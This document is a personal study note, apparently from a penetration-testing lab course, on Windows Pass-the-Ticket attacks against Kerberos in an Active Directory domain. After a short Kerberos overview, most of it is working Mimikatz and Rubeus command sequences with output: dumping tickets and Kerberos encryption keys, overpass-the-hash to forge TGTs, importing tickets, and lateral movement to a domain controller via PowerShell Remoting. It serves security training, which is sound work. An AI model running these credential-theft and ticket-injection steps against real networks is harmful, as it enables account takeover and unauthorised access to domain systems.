Windows PtT

About Kerberos

Simply put, Kerberos is an authentication system that works with the concept of Tickets. Instead of asking the domain-joined user each time for a password to access specific services, It presents a ticket for each server they asked for, without the need to provide their password every time. This works with two types of tickets:

• TGT: Ticket Granting Ticket which is the first ticket we obtain on a Kerberos system. It permits the client to obtain additional Kerberos tickets or TGS.

• TGS: Ticket Granting Service, which is requested by users who want to access specific service. It allows services to verify the user's identity. The process is as follows:

1. The user requests a TGT.

2. They must authenticate to the DC by combining a timestamp encryption and his password hash.

3. The DC then decrypts the timestamp and verifies the identity.

4. Upon success the DC sends back a TGT to the user for future requests.

5. User no longer have to verify their identity with their password.

6. If the user wants to access MSSQL database, they request a TGS to the Key Distribution Center (KDC) while presenting their TGT.

7. The KDC will give the TGs to the MSSQL database server for authentication.

---

Harvesting Kerberos Tickets

Method 1: Mimikatz sekurlsa::tickets module

c:\tools> mimikatz.exe

<SNIP>

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::tickets /export

<SNIP>

mimikatz # exit
Bye!

This will print out the result and saves it to files with a .kirbi extension. User tickets will be saved with the following pattern : [randomvalue][e-mail].

While the tickets that end with $ correspond to the computer account.

c:\tools> dir *.kirbi

Directory: c:\tools

Mode                LastWriteTime         Length Name
----                -------------         ------ ----

<SNIP>

-a----        7/12/2022   9:44 AM           1445 [0;6c680][e-mail]
-a----        7/12/2022   9:44 AM           1565 [0;3e7]-0-2-40a50000-DC01$@cifs-DC01.inlanefreight.htb.kirbi

<SNIP>

Method 2: Rubeus dump module

This method outputs the tickets with base64 encoding, we'll use /nowrap` for easier copy/paste.

c:\tools> Rubeus.exe dump /nowrap

Note: To collect all tickets we need to execute Mimikatz or Rubeus as an administrator.

---

Forging our own tickets(Overpass the Hash/PtKey)

While the traditional Pass the Hash technique doesn't involve Kerberos, but instead relies on an NTLM hash, Overpass the Hash/ Pass the Key converts a hash/key for a domain-joined user into a full TGT. So, we'll be dumping the user's Kerberos encryption keys to get the hashes we want.

Step1: Dump all user's Kerberos encryption keys with Mimikatz sekurlsa::ekeys module

c:\tools> mimikatz.exe

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys
<SNIP>

Authentication Id : 0 ; 444066 (00000000:0006c6a2)
Session           : Interactive from 1
User Name         : plaintext
Domain            : HTB
Logon Server      : DC01
Logon Time        : 7/12/2022 9:42:15 AM
SID               : S-1-5-21-228825152-3134732153-3833540767-1107

         * Username : plaintext
         * Domain   : inlanefreight.htb
         * Password : (null)
         * Key List :
           aes256_hmac         b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
           rc4_hmac_nt       3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_old      3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_md4           3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_nt_exp   3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_old_exp  3f74aa8f08f712f09cd5177b5c1ce50f
<SNIP>

Step2: Overpass the Hash

Note: Modern Windows domains (functional level 2008 and above) use AES encryption by default in normal Kerberos exchanges. If we use a rc4_hmac (NTLM) hash in a Kerberos exchange instead of an aes256_cts_hmac_sha1 (or aes128) key, it may be detected as an "encryption downgrade."

Method 1: Mimikatz + local admin privileges

mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f

This will spawn another cmd.exe window in which we can request anything in the context of the target user.

Method2: Rubeus with non-admin user

c:\tools> Rubeus.exe  asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIE1jCCBNKgAwIBBaEDAgEWooID<SNIP>...

  ServiceName           :  krbtgt/inlanefreight.htb
  ServiceRealm          :  inlanefreight.htb
  UserName              :  plaintext
  UserRealm             :  inlanefreight.htb
  StartTime             :  7/12/2022 11:28:26 AM
  EndTime               :  7/12/2022 9:28:26 PM
  RenewTill             :  7/19/2022 11:28:26 AM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  0TOKzUHdgBQKMk8+xmOV2w==

---

Performing PtT Attack

At this point we need ===Valid Kerberos Tickets=== either we dumped them like we did in [[#Harvesting Kerberos Tickets]] or through [[#Forging our own tickets(Overpass the Hash/PtKey)]].

Method 1: Rubeus asktgt module + hash + /ptt flag

The idea is the import the ticket in current session. Upon success, it'll print ==Ticket successfully imported==.

c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA<SNIP>...
[+] Ticket successfully imported!

  ServiceName           :  krbtgt/inlanefreight.htb
  ServiceRealm          :  inlanefreight.htb
  UserName              :  plaintext
  UserRealm             :  inlanefreight.htb
  StartTime             :  7/12/2022 12:27:47 PM
  EndTime               :  7/12/2022 10:27:47 PM
  RenewTill             :  7/19/2022 12:27:47 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  PRG0wMmc4OznDz1YIAjdsA==

Method 2: Rubeus + .kirbi file obtained from Mimikatz

c:\tools> Rubeus.exe ptt /ticket:[0;6c680][e-mail]

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.5.0


[*] Action: Import Ticket
[+] ticket successfully imported!

c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

Method 3: Rubeus + base64-encoded Ticket

We can also use the base64-encoded ticket obtained from Rubeus or base664 encode the Mimikatz tickets using :

PS c:\tools> [Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680][e-mail]"))

And then use Rubeus:

c:\tools> Rubeus.exe ptt /ticket:doIE1jCCBNKg...<SNIP>...
 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.5.0


[*] Action: Import Ticket
[+] ticket successfully imported!

Which grants us access as the target user:

c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

Method 4: Mimikatz

C:\tools> mimikatz.exe 

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680][e-mail]"

* File: 'C:\Users\plaintext\Desktop\Mimikatz\[0;6c680][e-mail]': OK
mimikatz # exit
Bye!

Which grants us access to whatever the target user has access to:

c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

Note: Instead of opening mimikatz.exe with cmd.exe and exiting to get the ticket into the current command prompt, we can use the Mimikatz module misc to launch a new command prompt window with the imported ticket using the misc::cmd command.

Method 5: PS Remoting(5985/5986)

To create a PowerShell Remoting session on a remote computer, you must have administrative permissions, be a member of the Remote Management Users group, or have explicit PowerShell Remoting permissions in your session configuration.

5.1 Using Mimikatz (Local Admin required)

C:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( [e-mail] )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( [e-mail] )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a][e-mail]"

* File: 'C:\Users\Administrator.WIN01\Desktop\[0;1812a][e-mail]': OK

mimikatz # exit
Bye!

Now we can spawn a PS session in the target host:

c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01
[DC01]: PS C:\Users\john\Documents>

This is used for ===Lateral Movement===.

5.2 Using Rubeus (No Admin privileges required)

Rubeus has the option createnetonly, which creates a sacrificial process/logon session (Logon type 9). The process is hidden by default, but we can specify the flag /show to display the process, and the result is the equivalent of runas /netonly. This prevents the erasure of existing TGTs for the current logon session.

Step 1: Create a Sacrificial Process

C:\tools> Rubeus.exe createnetonly /program:"C:\Windows\System32\cmd.exe" /show
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.3


[*] Action: Create process (/netonly)


[*] Using random username and password.

[*] Showing process : True
[*] Username        : JMI8CL7C
[*] Domain          : DTCDV6VL
[*] Password        : MRWI6XGI
[+] Process         : 'cmd.exe' successfully created with LOGON_TYPE = 9
[+] ProcessID       : 1556
[+] LUID            : 0xe07648

That will spawn a new cmd window through which we can request a new TGT with /ptt using Rubeus, import it to our new session and then connect to that target DC using PSRemoting.

C:\tools> Rubeus.exe asktgt /user:john /domain:inlanefreight.htb /aes256:9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc /ptt
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.3

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: 9279bcbd40db957a0ed0d3856b2e67f9bb58e6dc7fc07207d0763ce2713f11dc
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\john'
[*] Using domain controller: 10.129.203.120:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      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
      ZWZyZWlnaHQuaHRi
[+] Ticket successfully imported!

  ServiceName              :  krbtgt/inlanefreight.htb
  ServiceRealm             :  INLANEFREIGHT.HTB
  UserName                 :  john
  UserRealm                :  INLANEFREIGHT.HTB
  StartTime                :  7/18/2022 5:44:50 AM
  EndTime                  :  7/18/2022 3:44:50 PM
  RenewTill                :  7/25/2022 5:44:50 AM
  Flags                    :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  5VdAaevnpxx/f9rXsDDLfK6tH+4qQ3f1GlOB1ClBWh0=
  ASREP (key)              :  9279BCBD40DB957A0ED0D3856B2E67F9BB58E6DC7FC07207D0763CE2713F11DC

With the ticket successfully imported:

c:\tools>powershell
Windows PowerShell
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\tools> Enter-PSSession -ComputerName DC01
[DC01]: PS C:\Users\john\Documents> whoami
inlanefreight\john
[DC01]: PS C:\Users\john\Documents> hostname
DC01

Doing it all with one tool:

Rubeus only

Step 1: Harvest Kerberos tickets from current session:

c:\tools> Rubeus.exe dump /nowrap

Step 2:

c:\tools> Rubeus.exe ptt /ticket:doIE1jCCBNKg...<SNIP>...
 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.5.0


[*] Action: Import Ticket
[+] ticket successfully imported!

Which grants us access as the target user:

c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

Mimikatz Only

Check [This](Pass the Ticket - Windows#Method 4 Mimikatz) and [this](#Step1 Dump all user's Kerberos encryption keys with Mimikatz sekurlsa ekeys module).